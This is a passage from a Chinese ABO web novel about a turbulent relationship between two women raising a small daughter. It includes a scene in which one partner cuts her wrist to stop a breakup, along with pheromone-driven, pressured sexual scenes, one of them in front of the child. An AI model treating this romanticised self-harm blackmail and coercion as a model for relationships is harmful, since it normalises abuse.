“但让你去祭拜我母亲,你确实不够格,正如我也没有资格去看望你母亲。” 林絮低笑着,没一会,脖颈后靠,流畅的下颌绷紧,她揉皱了这张要签名的协议。 “舒清柚,你这账算的,把我当X玩具么?真有你的。” “说到这个啊,”舒清柚认真掰着指头,轻轻数着12345想了想,说,“365天,只少300天。” 林絮焦躁地转动笔尖,磨着牙齿,“哈,什么300天?” “强行要我的次数,包括你醉酒那次,不停叫我老婆,应该就是那一次怀上绒绒的。” 哐当— 金属和玻璃再度碰撞,林絮怔住,眼睛慢慢瞪大,上下唇分离,下巴都快惊掉了。 她重新捻起笔,上身弯下在纸上胡乱划拉,趴在桌上顾左右而言她,支支吾吾,“那可真是,太巧了” 说到绒绒,林絮特心虚,狗狗祟祟的目光偷偷寻找舒绒,小家伙跑到角落和龙猫玩,乐在其中。 林絮嘴里念叨着:“那你去吧,我也要抽个时间去看我妈了,各回各家各找各妈” 舒清柚不留情面指出她的语病:“回家,进坟墓啊。” 有点难听了啊,亲爱的,林絮苦笑,口头上半句也不敢反抗,“我错了,我错了,我的意思是,给老人家多烧些金元宝,不够的话,刷我卡。” 舒清柚一把抽出笔,看着纸上的鬼画符,在她脑壳上敲了下,淡定道:“你好自为之。” 林絮哎呦叫着,不疼,只想吸引舒清柚的关注,现在看来,适得其反 她按住被敲的脑门,也不顾颜面尽失,喊道:“好自为之,分手的意思吗?” 舒清柚习惯思考时垂下长睫,咬下唇,而林絮每次都想把她牙齿掰离柔嫩的唇瓣。 这次例外,林絮眼角泛起潮湿了,她克制不去和舒清柚贴贴。 舒清柚眼神掺杂着复杂的情感,林絮分明从冷漠不耐烦中察觉到不舍。 但她很轻吐字,“只分开一段时间,好不好?” 做人留一线,舒清柚想,她若是将话说太满,太决,万一林絮对她进行报复活动呢? 不敢赌。 还是要分开吗林絮像霜打的茄子,垂头丧气。 “快来不及了,”舒清柚说着,套上大衣,走了几步,停顿,“今天晚上,你想吃什么?” 她数了七八秒,林絮没回她。 “林絮,别再小孩子气你再怎么装,本质都很恶劣。” 似乎是这句话刺到林絮哪个点了,她猛然扬起头,朝着舒清柚瘦薄的背脊低吼,“你给我站住!!!” “你”舒清柚脚步震住,浑身不由自主抖了下。 林絮路过她身边,压抑不住愤怒的气息在舒清柚耳廓蔓延,但林絮直直往厨房去。 该不会 一阵厨房用具叮叮当当,林絮转身,正对着舒清柚,手里多了一样她翻出来的器具。 舒清柚眼底划过一抹锋利银光,瞬间头皮发麻,呼吸一滞。 林絮牙齿打着颤,露出一个歇斯底里的笑,她捋开衣袖,右手抓住水果刀柄。 开刃的薄片对着惨白的肌肤,青紫血管清晰可见。 “要和我一笔勾销,要和我分手,行,没问题。” 手指使劲,下压,尖刺的一段陷进皮肉,印出浅显的红印。 舒清柚立刻明白林絮所说的一笔勾销是什么意思。 她不假思索间冲向厨房,带来一阵香风,林絮笑容不止,陶醉地眯了眯眼,手臂侧开,巧妙地躲开舒清柚的阻拦。 “你心疼了?还是说”林絮不顾一切,缓慢地割开,皮肤的血痕裂开,涌出一股温热的液体。 “怕我玷污了你的家吗?” 刀面上染着些许血珠,手腕满是鲜血,低落在地板,她痴狂地靠近舒清柚,“我恶劣,确实,见识到了吧。” 她放肆大笑,笑声引来了舒绒的好奇,舒清柚发觉女儿在看,她第一次用严厉的语气喝斥:“绒绒,转过头去!” 舒绒受到惊吓,抱住龙猫,低头,跌跌撞撞跑进小房间。 事情怎么会发展到这般田地,舒清柚默不作声,她有经验,伤口不深,也没伤到动脉。 舒清柚擒住她胡来的右手,沉声道:“刀放下,跟我来。” “不啊,我还没玩够,我孩子气,我恶劣,我卑鄙,无耻,下贱!”只要林絮不主动认输,舒清柚也无法强行拖走她。 舒清柚眸间加剧晦暗,紧抿唇瓣,樱色的嘴唇发白,看到林絮所谓的还债,她喉咙发紧。 只要一挤压左手手腕,血像喷泉一样不停往外冒,触目惊心。 舒清柚眼眶通红,眸子下方的小痣周围,透出殷色,她猛吸一口空气。 “先处理伤口,你说的,我尽量答应你。” “不分手吗?” “嗯,不分了。” 伤口创面一阵又一阵刺疼,林絮把刀放回刀架,嘴唇泛起干燥的白,失血会带来些许头晕。 舒清柚在担心她,再疼也能强忍,威胁是有效的。 她甜甜地说:“好,我相信你,那你去看你妈妈吧,我一个人可以处理好。” 话音刚落,她感到视线模糊,瞬间天地倒转,眼前一黑,像面团一样瘫倒在地。 第67章 你不能既要我当你妈妈,又喊我宝宝 再三确认林絮无虞,舒清柚一步三回头,实在放不下心,最主要门坏了一扇,她觉得以林絮疯癫程度,会对房子下毒手。 舒清柚三步并作两步,把女儿抱到她腿窝间:“我把绒绒留给你吧,我尽早回来。” 林絮刚包扎好的手臂,兴致冲冲地搂住舒绒,脸抬起来,冲舒清柚笑不露齿。 “谢谢你哦,听说人在低落受伤时,需要抚慰犬,这正是我所要的。” 有谁会把女儿形容成犬类吗,舒清柚差点控制不住表情,也弯起嘴角,“你别再做傻事就好。” “哎呀,你这说的什么话嘛,”林絮手掌托住舒绒腋下,把孩子拎起来,“小鼻子小眼睛真好看,不愧是我宝宝生的大闺女。” 她嘴直接凑到孩子脸上,“来,叫妈咪,妈咪给你买全世界最大的小蛋糕。” 这一遭可把舒绒吓坏了,她直觉发生的一切,都不是她这个三岁孩子应该承担的重任。 她明智地选择当个缩头乌龟,垂下脑袋,接着脖子一歪,呼呼装睡。 不忍直视,没眼看了,舒清柚眉心紧拧,当初是怎么和林絮这疯子搞到床上去的。 虽然林絮实际操作能力很持久,但她不能沉湎在其中。 舒清柚揉了好几遍太阳穴,道不清的疲倦涌上心头,这下不得不用咖啡因帮助提提神了。 转身离开,手机震动,出现中介的多条信息,她诉求是房东急需要转手房子,周边工厂打工的年轻人都挺感兴趣。 主打的就是个田园风农家乐,还蛮多人来打听的。 舒清柚被林絮绊住时间过长,好在妹妹体谅她,没追究她迟到半小时。 “姐,那家伙作妖了?” 舒晚柠拿了一大堆纸质高科技产品和金元宝,旁边竖着个铝桶,用来烧。 “没,她挺安分的。” 舒清柚蹲下,忙活袋子里的黄纸,手指翻飞,两三下折叠成元宝形状。 “那你还迟到,你一向最守时。” 舒晚柠把火点起来,赤红色映在她洞悉一切的眼神中,“你别后悔就好。” 已经后悔了,舒清柚觉得在母亲面前聊这些不太妥当,任由舒晚柠连珠炮似的吐槽。 做完告别,舒清柚买菜中途接了个老师的电话,几年前一直看好她的八神老师,还提起过她。 舒清柚听筒里,老师娓娓道来的闲聊,她却有了别样的心思,她向老师要了八神的邮箱。 大概想给自己留条后路,舒清柚回到家,蛋糕香瞬间充盈鼻腔,她傻眼了,愣在原地半晌。 一桌子的花花绿绿的蛋糕摆的满满当当,舒绒像被投放到米缸里的小老鼠,嘴巴一圈包括下巴全是碎屑奶油。 始作俑者林絮支起下巴,不停地鼓励:“妈咪给你定的小蛋糕好吃吧。” 舒绒跪在桌子上,眼睛冒出精光。 “林絮,你疯了吧!”舒清柚突破蛋糕重围,捞起困在当中的女儿,把她赶到另一头,忍住骂脏话的欲望,深呼吸两下,保持体面的微笑。 “你喜欢她,这很好,但别太纵容溺爱她,她经不起诱惑。” “怎么会是溺爱纵容呢?”林絮站起身,眼眸向下,拍干净身上零星碎屑。 蛋糕是她特地吩咐餐厅快马加鞭送来的,数量有点多,不过顺了舒绒的意思,那舒清柚也可以放心和她在一起了。 她会好好照顾女儿和她的。 林絮缓步到她跟前,虔诚地摸着舒清柚好摸滑嫩的脸,深情并茂:“我打算把这个房子装修下,卫生间门,唔,还是用木头,万一哪天你又憋着不开门。” “不,还是把房子夷平,重盖吧,三四层高大别野,作为我们的婚房,你说好不好呀?” 哪敢说半个字不好,以往林絮还会装模做样,隐忍住信息素,现在每时每刻发情似的,舒清柚的脸从内而外的在充血。 她抵住林絮快要挤到她胸前的脑袋,“你先冷静,我我,你别掀我衣服” “我想你了,”林絮上头地说,“喜欢我信息素吧,你脸都红成水蜜桃了。” 舒清柚分神纠正她,“那也是被信息素逼的,不是我主动。” “不管,白猫黑猫,抓到猫就是好猫,反正你脸粉嫩嫩的,说明你就是生理性喜欢我。” “要不,我们当场给女儿表演一场真人秀吧,这样她以后也有经验。” 这谁能忍,面对林絮不达目的誓不罢休的无耻,舒清柚揪住她的衣领,用尽浑身解数推开她,啪地给了她一巴掌。 “你正经点,绒绒才三岁!” 林絮懵了一瞬,被打了?姣好的脸蛋出现浅浅的五个手指印,还带着香气。 “你怎么打人呢!” 她再混蛋,都没对舒清柚真动过手,她自我调解了下,打就打了。 “那你打了我,可就不能不给我吃奈了。” “住嘴!” 好想报警,不对,应该是打给精神病院,舒清柚没后悔扇的一巴掌。 倒是旁边全程观看的舒绒嘴巴张的可以塞下一个鸡蛋。 面对恶人的偷袭,妈妈好勇猛! 好崇拜妈妈!大大的眼睛里没有恐惧,全是对妈妈散发出力量的渴望,甚至双手合起轻微的拍掌。 林絮心细的察觉到女儿的行为,太丢人了,不行,她得找回面子。 她利用身高优势,步步紧逼,捂着微肿的脸楚楚可怜,“宝宝,我要补偿。” 舒清柚只想护住身体隐私部位,但架不住信息素的侵袭,她也浑身透着想要的渴望。 空气中浸满了信息素,没有比这更糟糕的情况。 “你再过来,我把你送去宛平南路600号。” 林絮歪着脑袋,搜索这个地名,随即了然,“啊,精神病院,清柚,我没病,我能跑能跳能逻辑分析,就想好好和你过日子。” 舒清柚靠墙,有了一丝的恍惚,眼神中没有令林絮心痛的反感,她自认为剖析到位,继续得寸进尺。 “真的,我发誓,刚打我,不也没还手,我想你了,我这手还伤着,还挨了你结实的一巴掌。” 她佝偻着身子窝到舒清柚怀里,努力维持小狗忠诚的形象,夹着声线说:“主要我羡慕舒绒,她喝母乳长大的,为什么她可以,我不行呀?” 柔软的发丝蹭着舒清柚的下颌,她真的,退无可退。 舒清柚紧张分析,先顺从林絮,放松她的戒备心,快速捧起林絮的脸,亲了一下,“完全可以。” 趁林絮不可思议间,她再亲了一下,说出她自己都觉得腻歪到起鸡皮疙瘩的话:“宝宝,等晚上我给你吃” 最后一个器官相关的字她实在说不出来,林絮的虎口钳住她下颌,不依不饶地问:“吃什么?” 有个字卡在舒清柚喉咙不上不下,她的神情不怎么淡定。 林絮:“我要听到你的保证。” 舒清柚:“奶。” 以往都难以想象,舒清柚能用这么清冷漂亮的一张脸说出虎狼之辞,林絮体内兴奋的细胞都快沸腾了。 怎么还没到晚上啊,她双臂环住她的腰身,将人抱在半空中转了一圈,吧唧一下亲了亲舒清柚略显僵硬的唇。 亲到舒清柚退软,林絮提出要求,“我还要喝你的信息素。” 舒清柚放弃反抗,她绝望地闭上眼和她接吻,喝吧喝吧,大馋丫头,谁能馋的过你。 一个期待夜晚降临,一个希望时间能停留在这一刻。 舒绒是最大的赢家,妈妈没有骂她吃太多小蛋糕吃不下饭。 妈咪高深莫测地给她画上好日子还在后头的大饼。 舒绒今晚很乖巧,照例妈妈哄她睡觉,但是总觉得妈妈有点心不在焉,舒绒不知道如何安慰,她没头绪,脑容量还没开发出更多复杂性思考,困到不行就呼噜噜了。 另个房间林絮刚等到舒清柚,饿狼扑食一般,把舒清柚拖到床上。 “你克制点…”舒清柚心慌的不行, “对自己的omega需要哪方面的克制?” 她俯身,嘴唇亲上柔软,舒清柚心甘情愿喂她吃,这一想,林絮更卖力了。 “唔,宝宝,我还是好羡慕绒绒啊,她都可以每天吃。” 好吃到眼睛都不想睁开,陶醉其中。 “两,两码事,绒绒只想填饱肚子…” 舒清柚仰起白中透粉的脖颈,嘴唇微张,眼神不复清明。 不可否认,林絮的脑袋很好摸,手指陷入发丝间,她带上报复性质,扯了林絮好几下。 “嗯嗯,我也一样,肚子饿了。” 与此同时,林絮另外的*胳膊也没偷懒,同温泉待在一块。 舒清柚哄了自己好久,基本上林絮忙了多久,舒清柚就时不时进行自我说服。 虽然林絮脑子有点不正常,但是长得好看,多金,持久? 看似有家暴倾向,实则顺个毛就能解决。 没事,她很快就可以跑路,届时万事大吉。 林絮:“宝宝,你不专心。” 捏打着贴面料的柔软,“总不能我一人努力吧。” 错了,有点暴力的,舒清柚眼神涣散地想,她还是被打了,某种程度上 次日,助理送了些行李过来,包括林絮居家办公用品,她划拉着电脑上的数据,其中包括伥鬼亲戚的项目。 数据可笑到生怕别人看不出他们在弄虚作假,她眉头蹙着一直没下来过,语音打了至少十来个。 这次必须给公司大换血,那群尸位素餐的老家伙早该淘汰掉了。 舒清柚刚挂上中介电话,预约好买家来看房,一开门就发现林絮认真办公,不自觉地多停留几眼。 一本正经的林絮还算有魅力,指尖偶尔敲击桌面,严肃时压低眉眼,和神经病挂不上钩。 林絮感知能力很强,尤其来人是舒清柚,她蓦地抬眼,舒清柚马上转头随手拿起一本书。 “宝宝,看什么书呀,这么入迷,过来,给你看更好看的。” 林絮丢开电脑,端出人畜无害的表情,朝舒清柚招招手。 不容置喙的指令,舒清柚短暂犹豫一秒。 走了几步,林絮就前倾上身,手臂扣住她盈盈一握的纤腰,猛地往怀里带。 舒清柚跌撞几步,被迫坐在了她腿上,差点没控制力度就压在林絮受伤的手臂,她惯性地关心,“你小心点,等会再流血,我不给你包扎了。” “那就让我流血而亡,”林絮不要脸蹭她下巴“昨天玩得不够尽兴,今天再接再励。” 经过一夜,舒清柚腰酸背痛腿抽筋,还要? 都去了不知道多少回,她数不清。 舒清柚打死也想不到,有朝一日她会因为林絮精力旺盛而想躲到天涯海角。 舒清柚连忙转开话题,“不是说要给我好看的吗?” “你还惦记着呢,”林絮慢慢吞吞,解开衬衫纽扣,露出**内衣。 “好像,在哪见过?” 舒清柚专注地思考中,想着想着,无意间舔了下唇瓣。 林絮看她这一副移不开眼的模样,开始自豪自己身材傲人。 这omega肯定是饿了。 “肯定见过呀,你再想想?” 舒清柚为难地不知下一步该做什么。 谁知道这就是所谓好看的…… 林絮笑得发邪,“宝宝,就知道你喜欢,之前网购买了一整套。” 她凭感觉,摸索着,然后举起一只银光烁闪的钢笔,竖在舒清柚眼皮子底下,“lookatme!” 舒清柚疑惑,“不理解…” “就是,哎呀,你好健忘。” 林絮鬼点子多,舒清柚头疼道:“别拐弯抹角。” 林絮娇羞地绯红了脸,“你之前答应过我,这个?” 舒清柚: 好神经,害她吓到极点反倒笑了出来。 “行,但我想和你商量一件事,怕你不同意。” 林絮音调陡然拔高,现在是妻妻在商量要事了吗? 她不经脑子,无比赞同:“同意同意的!宝宝你真把我当一家人了。” 她性奋地亲亲舒清柚,一亲就有点不太好收场,舒清柚嘴唇被摩肿了,林絮不舍地咬了下。 舒清柚受到强烈攻击,五迷三道的软在林絮肩上,低低喘息,好不容易缓过劲。 “我在考虑我们以前住的公寓,这里有点小,也不利于你日常办公生活。” 林絮一根筋地情绪高涨,但十分为难,“真的吗,你想回去那边,可是那个时候的我” “我怕你触景生情。” 舒清柚依赖地倚在林絮肩头,蹭着脖颈附近肌肤,发出沙沙的衬衫摩擦声。 她软软地撒娇,信息素漫出一点,“没关系,我们也要考虑绒绒呀,她也该上幼儿园了,你说好不好?” 年轻气盛的Alpha哪能禁得住这种考验,惊喜大礼包活生生送上门,她欣喜若狂,“好好好,宝宝你说东我不往西,我们什么时候搬?” “你决定。” “择日不如撞日,我们今晚直接拎包入住!” 太迅速了,舒清柚以沉默认同,反对性意见提出来也白搭,林絮全程操办的行李熟练至极,仿佛做了无数次。 她看着林絮错落有序整好行李箱,象征性地夸奖,“你还挺能分门别类的,以前都是我帮你做的。” 林絮不以为然,嗐了一声,跪在地上,贤惠地将内裤用一张素净的布包好,再放入行李箱不被其她衣物沾染。 “因为老婆和妈都不在了,我得学会独立自主嘛。” 这话怎么听着这么别扭?舒清柚分析她和林絮妈妈的关联性,除了都是女的,没找到额外共通点。 “你以前有多不独立自主呢?” 林絮一一罗列,生活琐事佣人来搞定,而她则坐享其成,养成独立属性还得是搬出家以后。 “那之后,除非特殊情况,我不许别人进入私人领域,佣人也不行,凡事亲历亲为,可我做不好嘛,母亲就来帮我,后来你知道的,她不在了。” 说到这,林絮哽咽了下,头垂的很低,眼睛潮湿热乎乎,她举起手背抹眼泪。 舒清柚心软,当了妈妈后,见不得没妈的孩子,如同见了路边一根野草,她蹲着拍她的背脊。 柔软的手掌覆在背部,林絮抽噎了几下,更想匍匐在舒清柚胸前痛哭一,觉得不哭为好,免得破坏搬家好日子的气氛。 “那你要当我妈妈吗,宝宝。” 舒清柚无语:“你不能既要我当你妈妈,又喊我宝宝。” 很有道理,这两身份放在一起背德感好重,但是心底滋生了一股欲望,她抹好剩余的泪珠,灵机一动。 “我们可以在床上这么玩,就当cosplay。” 舒清柚僵在原地,该说不说,她的好心肠就是被这样辜负的。 奈何林絮脸上挂着的泪痕,提醒她这位小A的脆弱,舒清柚轻轻叹气,“都听你的。” 林絮搬个家也兴师动众的,整整十辆豪华面包车不多时就开到家门口,轰轰烈烈的气势,比拆迁队派场还壮观。 村头到村尾的人家和鸡鸭狗鹅都震惊了,给家畜撵得鸡飞狗跳的。 伴随一声声黑衣人响彻天际的大小姐,给舒绒吓的一激灵,嘤嘤嘤地闭眼抱住妈妈不撒手。 眼见家里重要物品在短短几十分钟内被洗劫一空。 饶是舒清柚再强悍的心脏,也禁不住林絮这样大张旗鼓,号召全天下,大家都知道她钓上金龟媳了。 一群人轰隆隆的来帮忙搬家,再高调地驶回高档住宅区,舒清柚全程无言以对。 晚八点,夜色浓厚,车窗外城市高楼的霓虹灯幻灯片式飞速掠过。 五颜六色的光洒在舒清柚冷漠的半张脸上,倒显出几分柔媚感。 林絮一路欣赏她流畅的下颌角,秀美的鼻梁,简直是高颜值暴击,她美滋滋感慨舒清柚就是矜持,害羞的都不和她对视了。 以后多来几次这排场,习惯就好。 月亮弯钩隐在墨云,回到家,又是一大波兴师动众。 半小时后,尘埃落定。林絮抱着孩子,舒清柚环抱双臂问:“你是故意的吗?非得搞到人尽皆知。” 林絮不理解,挠了挠头,反问:“你不喜欢吗?霸道总裁,狠狠爱。” 舒清柚被她一系列操作搞到头痛欲裂,她眼皮跳了好几下,改天没准她们双双进宛平南路。 她需要水来镇静,来到熟悉的厨房,接了杯清水压压惊,“你整天都在看些什么AO霸总小说。” 林絮食指伸出摇了摇,“不对,还有OO霸总,AA霸总,AB霸总等等不固定排列组合,顾怀愿推荐给我看的。” 舒清柚冷哼:“你们还真是好闺蜜。” “也不至于,狐朋狗友嘛,”林絮颇为得意,“酒肉朋友多了去了,只不过和她稍微关系好点,你放心,我最爱的就是你,我心里只有你。” 不知廉耻,刚开始舒清柚还会被她花言巧语迷惑,但林絮言行举止不一,出现违和割裂感。 “明白,你口中的爱意表达都是网上学来的,不是真心实意。” 林絮不嘻嘻了,把舒绒赶走,让她一个人和宠物自娱自乐。 紧接着换上狗腿子的般的嘴脸,扑到舒清柚胸前,着急解释:“舒姐姐,宝宝,你误会我了,我怕我嘴笨,所以才去学小说里的说话方式,才走上歪路。” “我们刚在一起那会,我做了好多错事,把你欺负的惨兮兮,现在这不是在弥补么?” 舒清柚用胳膊挡住关键部位,“好好说话,动手动脚的,动物都不像你一样天天发情。” 林絮身处熟悉的地盘,安心百倍,她点点头,着手勤快忙着开智能家居,好几台扫地机同时开工。 洗好澡后准备和女儿一起睡觉,拉灯前,林絮却屁颠颠地跑到她房间,抱着个枕头。 舒清柚警惕道:“你干嘛?” 林絮不由分说,掀开被子一角,大大方方钻进去,眸子亮如星,“我们一家三口一起睡觉。” 难得林絮规规矩矩,舒清柚同意了,哄舒绒先睡。 她以为逃过一劫,哪知林絮一个翻身,压在舒清柚上面,林絮身高175,体重120左右,差点没给舒清柚压出口老血。 鉴于孩子在旁,舒清柚预感很不妙,她压低声线:“绒绒刚睡着,别吵醒她。” 林絮看了眼呼呼大睡的闺女,再转过脸,一口亲在舒清柚嘴上,“你好香,那我们轻一点。” 舒清柚:“???” 她破防,嘴唇紧闭使劲挪开林絮的攻势,胸口难以顺畅喘气,“等,等等,混蛋,不要,在这里。” 真不经吓,林絮逗她:“开玩笑的呀,傻瓜,只是你别忘了,答应过我,用钢笔” 舒清柚迫于林絮的淫威,只得首肯,前提是别给孩子看到。 她真不如林絮这么没皮没脸的。 再忍忍,舒清柚计划,一旦有人看中房子,赶紧卖掉,再拖下去,指不定林絮能离谱到哪种地步。 第68章 下周就可以去上幼儿园 林絮行动执行力超强,这也就算了,还不内耗焦虑。 就连情绪稳定舒清柚晚上偶尔也有emo跑路时间,林絮和打了肾上腺素似的,抱着她每天在2.5米大床上做运动。 好处就是,每次弄完,睡眠质量提升了不止一个等级,安眠药都省了。 林絮花样比几年前更多,道具齐活,以前不允许舒清柚碰她,有伤Alpha的自尊。 现在林絮打开新世界大门,开始和舒清柚商量,两个人能不能37开轮流坐庄。 好在林絮除了这项娱乐活动外,没有再发疯抄起菜刀威胁人身伤害。 舒清柚揉着手腕关节,屈伸时骨头咔嚓响了声,她苦笑,“腱鞘炎预定。” “那不太妙了,”林絮还没穿上衣服,大清早的从被单钻出下巴搁在舒清柚肩上,往下查看她的手指,白嫩嫩的,感官上就是一种刺激,叉到里面更是shuang。 她摸了摸舒清柚酸疼的骨节,义正言辞帮她揉:“你应该多锻炼,而不是把一切希望寄托于膏药。” 舒清柚无话可说,并暗自纠结是不是该去健身房举铁。 肌肤被揉捏红了,林絮调转部位,向下,舒清柚警觉道:“现在是早上七点” 林絮不置可否,她喜欢暖暖滋润的温泉,“朝九晚五,还没到上班时间,才七点,还有两个小时。” “可你一直都居家办公。” “换个说法,一日之际在于晨。” 总之林絮就要为不要脸的晨间运动找个理由,进行到一半,半掩住的房门被忽地推开。 舒绒不懂为什么妈咪昨晚让她一个人睡,她很怕,但妈咪诱惑她给她买玩具,她勉为其难点点脑袋。 刚起床,舒绒马不停蹄来索要玩具,开门就看到妈妈还在被窝里,坐在妈咪身上,耸动着。 妈妈的声音听起来怪怪的,舒绒没在意,身穿米黄小鸡兜帽睡衣,拎着只兔子玩偶,在门边安静待着。 林絮稍一别过脸,对她使了个默许的眼神,舒绒得令小跑到床边,推了推还没发现自己的妈妈。 舒清柚一回头,差点没吓破胆,手忙脚乱把被子全抢到身上,林絮的手被迫暴露在空气中,凉丝丝的。 好可惜,林絮舔了下指尖,好像快要到了。 “宝宝,你过激反应了,小孩子不懂的。” 刚说出口,舒清柚使劲拍开她手,嗔怒,“你能不能考虑下女儿的感受。” 林絮被打的完全没脾气,她努努嘴,“比起考虑绒绒感受,我应该先套个睡衣吧” 舒清柚好不容易哄走舒绒,林絮真给她气的够呛,一大清早飞给林絮好几个眼刀。 今时不同往日,林絮还当舒清柚给她明送秋波,斗志满满在厨房捣腾三明治。 舒清柚担忧地和女儿进行沟通,“你还小,不能学妈妈坐在别的女孩子身上,也不能被别的女孩子坐” 絮絮叨叨一大堆,舒清柚越说越来气,顺带对着林絮背影埋怨。 舒绒眨巴大眼睛,不太懂妈妈为什么紧张兮兮的,也不明白坐身上的具体意思,她只管懵懂式答应。 没一会,林絮充分发挥厨艺,干净利索,端出切好的三明治。 三明治切成小块三角形,足有十多个,方便一口一个,培根火腿芝士整齐夹在其中,色香味俱全。 再好吃的早餐也治不好舒清柚的心理阴影,面积持续扩大中。 她木然地嚼着早餐,瞥了眼旁边大快朵颐的林絮,深深地叹了口气。 “林絮,你能不能不要这样yu求不满?” 林絮嘴巴装着食物不好回答,随口咀嚼几下,握住水杯,就着清水咽下去,委屈地说:“没有吧,我只想把我们以前丢失的都补回来。” “那也犯不着一天这么多次,你当我是铁打的。” “我不是故意的,总觉得安全感,好像你很想离开我。” 本来就有此打算的,舒清柚顿了下,吃着三明治,心里多了一份苦涩。 早餐过后,林絮当真没辜负舒绒,助理准时把礼物送到。 舒绒围在高高的礼物架子边,兴致冲冲,林絮帮她拆开包装袋,礼物展现出现的时候,舒绒摸不着头脑。 很长一段时间,舒绒都没发出丁点声响,她难得无声的沉默。 舒清柚从洗手间出来,舒绒和林絮站在高大的架子边,舒清柚以为走错了地方。 重新回到洗手间,再度开门,舒清柚问:“林絮,你为什么买猫爬架?” “你给绒绒买猫了?” 林絮转过头,笑脸不减,“女同三件套呀,同居,看海,猫,实现两样了。” 舒清柚多走了几步,扫过四周,“猫呢?” 林絮指了指舒绒,傻孩子已经在到处摸摸猫爬架,林絮更加得意:“这不就是吗?绒绒,喵一下。” 舒绒只是天真,不是傻,她看不出这有什么好玩的地方,略微失望摇头,愤怒的小拳头捶了猫爬架几下。 到底多想弥补啊,舒清柚头疼欲裂,眉宇间透出不快,捞起舒绒免得被林絮感染到缺根筋的脑子。 “绒绒生下来又不是给你玩的。” 林絮耸耸肩,“怎么你最近脾气这么大,那我给她买小玩具车。” 也不知道被谁气的,舒清柚认为和她沟通上存在差异,决定一天都不想和她交流。 舒清柚把自己关在书房里,忙活正经事情,打开笔记本,给在日本的陶瓷老师发了封邮件,意在申请作为研修生,赴她的陶房进修两年。 一小时后,舒清柚听到外头传来欢声笑语,她心想,林絮不乏关心舒绒,肯定给孩子买了心仪的玩具。 门刚打开,舒清柚没反应过来,腿部受到一记重击,她趔趄退后几步,看清始作俑者正是自己的好闺女。 舒绒坐在价格不菲的儿童电动豪华轿车上,抓着方向盘横冲直撞,一脸人畜无害,直到撞到妈妈。 她很快按照妈咪的指导踩下刹车,眼里流露出浓浓的不安。 舒清柚当然不会和孩子计较,她摸摸舒绒脑袋,亲了下额头,轻声嘱咐,“等妈妈回来,你先别乱开小车车。” 林絮好整以暇盘坐在茶几前忙工作,不断划拉触控屏,突然头顶投下一道阴影,紧接着电脑两边出现一双手臂,十根葱白长指按在桌面。 “林絮,她才三岁,你就让她独自到处开车?” 舒清柚的长发落在林絮眼前,她不可控地加重呼吸,没出息的过度心动。 脑海里蹦出油腻霸总语录:这女人,真是该死的甜美。 林絮:“啊?你说什么,没听清。” 舒清柚不得不耐心复述,“你能带好女儿吗?” 当然能,林絮回答的很随意,“绒绒很开心呀,我带女儿的方法方式出问题了?” 她以前隔三岔五和朋友飙车,都是常态,“我们这圈子里,好多十岁小孩都会抽雪茄了。” 舒清柚眉心焦虑加深,她不太清楚她们内部的规矩,大约猜的到奢华糜烂是她们的日常。 鉴于她未来要离开一段时间,既然要把孩子托付给良人,林絮的财力不失为最上等选项。 她和林絮面对面,彼此呼吸交织,她一字一句无比严肃,“别人的孩子我管不着,舒绒不能接触这些,她这辈子过平凡的生活足够。” 林絮看着她翕合的唇瓣,目不转睛,舔舔下唇,费劲地把舒清柚的话听进去了,真是好妈妈。 舒清柚对她的心不在焉很不满,语气加深,“你有在听我说吗?” 林絮撑住下巴,点头如捣蒜,“好,我们的女儿平凡的开心就行。” 也许林絮真的听进去了,第二天林絮早早出门,舒清柚生物钟被林絮搞的乱七八糟,平常六点就可以起床,现在硬生生拖到八点。 起床后发现舒绒早就抱起大平板玩简单的小游戏。 她来到餐桌边,早餐已经准备好,一张小纸条压在牛奶杯下。 贴心地让她去用微波炉加热包子,舒清柚有些发愣,特地看了眼碗碟的包子。 还好,是楼下早餐店买的,不然她快要感动到对林絮付出真心了。 临近中午,大门电子生物锁传来提示音。 林絮脱下黑大衣,屋内灯光调暗,从玄关处看到舒清柚抱着舒绒蜷在沙发上睡着了。 两张一个模子刻出来的脸,赏心悦目,林絮轻手轻脚走近,把滑落的毛毯重新盖好。 这时,舒清柚的羽睫如蝴蝶振翅微颤,睁开眼。 林絮食指竖在舒清柚唇上,把女儿抱到房间里休息,很快折返。 舒清柚睡意朦胧,嘴覆上柔软,林絮亲着她,将她重新抵回沙发,耳鬓厮磨。 林絮真诚道歉:“我考虑过了,最近要你太多次,我有错,我太喜欢你了,宝宝。” 舒清柚尽管心里有些犯嘀咕,但被亲到七荤八素,她迷茫道:“没关系,知错就改,善莫大焉。” “是啊,我也这么想的,所以我早上出门办了件大事。” “什么?” 林絮兴致昂扬,不停啄着舒清柚的唇,怎么都要不够。 “我给舒绒办好入学手续,下周就可以去上幼儿园了。” 第69章 “我是不是太惯着你了?” 真会来事舒清柚说不上什么感想,女儿不可能一直不上学,她也想托林絮照顾女儿,一举两得。 林絮看着她突如其来的沉默,心沉了沉,舒清柚舍不得孩子了吧,她对孩子依赖太深了,不应该,不如多多依赖自己。 舒清柚敛下眼睫,缓慢抬头,声音微颤,“舒绒不会讲话,去上学,会被看不起。” 差点忘记这茬,林絮不担心,她的崽聪明绝顶,三岁能开车,五岁就能开飞机——遥控版本。 “不会说话怎么了,沉默是金,谁欺负她就是欺负我,欺负我就是欺负我家” 林絮挺起胸膛骄傲中,一垂眸,舒清柚水光泛波的眼眶,她立即噤声搂住舒清柚。 满不在意道:“瞧你玻璃心的,都交给我,大不了带孩子去看看心理医生。” 林絮摸摸下巴,自言自语:“不过看心理医生啊,有点伤她自尊。” 舒清柚早有此打算,只觉得还可以再等等,出于私心,愧疚自己才是诱因。 翌日,林絮约好一位有名的心理医生,医生给了本图册让舒绒画画,和家长面对面做咨询。 医生:“她是什么时候开始不说话的?是突然的吗?还是逐渐变少了?” 三连发问,舒清柚整合回答:“从小没说过,也许是突然。” 医生:“那你仔细回想,‘突然’在哪个时间点?” 舒清柚迟疑地陷入沉默,林絮坐在她旁边,握紧她的手,老婆被这庸医弄难过了,她带有威胁性地眼神扫过医生。 怎么回事?医生和林絮对视上,背脊发凉,她正常在问问题啊。 思来想去,舒清柚最后还是把症结归结在自己头上,她刚生下绒绒那段时间,担惊受怕照顾不好孩子。 另一方面,舒绒却从小就体谅她,半夜不哭不闹,生活作息非常有秩序。 舒清柚脸色有点发白:“也许和孩子她妈分手之后?” 医生抬起眼,孩子她妈是瞪着她的这位吧,她清咳一声,正要发表专业言论。 林絮当着医生的面,扭转姿势,扣住舒清柚的肩膀,直接吻了上去,边亲边说对不起。 突然被强吻的舒清柚懵了一瞬,林絮则疯狂道歉,继续加深力度。 